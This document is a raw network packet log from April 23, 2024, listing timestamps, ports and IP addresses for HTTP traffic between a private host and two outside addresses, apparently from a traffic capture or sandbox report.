Apr 23, 2024 09:38:07.149343014 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149348021 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.149358034 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149374008 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149382114 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.149389029 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149404049 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149410963 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.149419069 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149434090 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149435997 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.149450064 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149465084 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149467945 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.149481058 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149497032 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149497986 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.149512053 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149528027 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149534941 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.149544001 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149559975 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149564028 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.149574995 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149590015 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149594069 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.149605989 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149621964 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149625063 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.149636984 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149652958 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149657965 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.149668932 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149686098 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149688959 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.149702072 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149717093 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149722099 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.149732113 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149748087 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149751902 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.149761915 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149770975 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149786949 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149802923 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149818897 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149833918 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149846077 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.149849892 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149866104 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149882078 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149883986 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.149897099 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149914026 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149919987 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.149929047 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149944067 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149947882 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.149960041 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149966002 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.149976015 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149991035 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149996042 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.150007010 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150022030 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150027037 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.150038004 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150053024 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150058031 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.150068045 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150089025 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.150125980 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150141954 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150157928 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150161028 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.150172949 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150187969 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150192022 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.150203943 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150218964 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150226116 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.150233984 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150249004 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150254965 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.150265932 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150281906 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150284052 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.150298119 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150312901 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.150314093 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150329113 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150343895 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150345087 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.150358915 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150373936 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150377035 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.150389910 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150404930 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150408030 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.150420904 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150438070 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150441885 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.150453091 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150468111 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150476933 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.150484085 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150499105 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150507927 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.150515079 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150530100 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150546074 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150548935 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.150562048 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150576115 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.150577068 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150593042 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150593042 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.150608063 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150624037 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150629044 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.150640011 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150655985 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150659084 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.150671005 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150686979 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150688887 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.150702953 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150718927 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.150719881 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150734901 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150749922 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150753975 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.150765896 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150780916 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150784016 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.150796890 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150811911 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150819063 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.150827885 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150842905 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150847912 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.150857925 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150873899 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150877953 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.150892019 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150907040 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150907040 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.150923014 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150938988 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150947094 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.150954962 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150969982 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.150974035 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.150991917 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.151007891 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.151010990 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.151024103 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.151041031 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.151045084 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.151056051 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.151072025 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.151076078 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.151108027 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.310978889 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:07.311211109 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:07.311249018 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:07.380084991 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.380151987 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.380171061 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.380188942 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.380204916 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.380220890 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.380237103 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.380253077 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.380270004 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.380285025 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.380286932 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.380300999 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.380316973 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.380332947 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.380333900 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.380350113 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.380353928 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.380367041 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.380389929 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.380429029 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.380446911 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.380464077 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.380471945 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.380481005 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.380501986 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.383625031 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.383666992 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.383683920 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.383693933 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.383701086 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.383721113 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.383786917 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.383805037 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.383820057 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.383826017 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.383836985 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.383852005 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.383857965 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.383867979 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.383882999 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.383888006 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.383898973 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.383914948 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.383919001 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.383930922 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.383948088 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.383951902 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.383963108 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.383980036 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.383984089 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.384033918 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.384066105 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384082079 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384097099 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384114981 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.384119987 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384135008 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384150028 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384164095 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.384166956 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384182930 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384190083 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.384197950 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384215117 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384217024 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.384231091 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384247065 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384253025 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.384262085 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384278059 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384279966 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.384294033 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384310007 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384315014 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.384325981 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384341002 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384345055 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.384356022 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384377003 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.384401083 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384418011 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384433031 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384437084 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.384449005 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384464025 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384466887 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.384480953 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384495974 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384495974 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.384510994 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384526014 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384541035 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.384541988 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384557962 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384561062 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.384572983 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384588957 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384592056 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.384604931 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384620905 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384624958 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.384635925 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384651899 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384654999 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.384666920 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384685993 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384690046 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.384701967 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384716988 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384726048 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.384732008 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384747028 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384759903 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.384763956 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384780884 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.384780884 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384797096 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384813070 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384819984 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.384828091 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384843111 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384845972 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.384857893 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384874105 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384876966 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.384891033 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384907007 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384910107 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.384922028 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384938002 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384944916 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.384953022 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384968996 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384975910 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.384984970 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.384999990 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385004997 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.385015965 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385030985 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385035038 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.385046959 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385062933 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385067940 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.385080099 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385094881 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385108948 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.385109901 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385124922 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.385126114 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385142088 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385158062 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385163069 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.385173082 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385189056 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385193110 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.385204077 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385220051 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385225058 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.385235071 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385250092 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385255098 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.385265112 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385279894 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385286093 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.385294914 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385310888 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385318041 CEST	49734	80	192.168.2.4	176.97.76.106
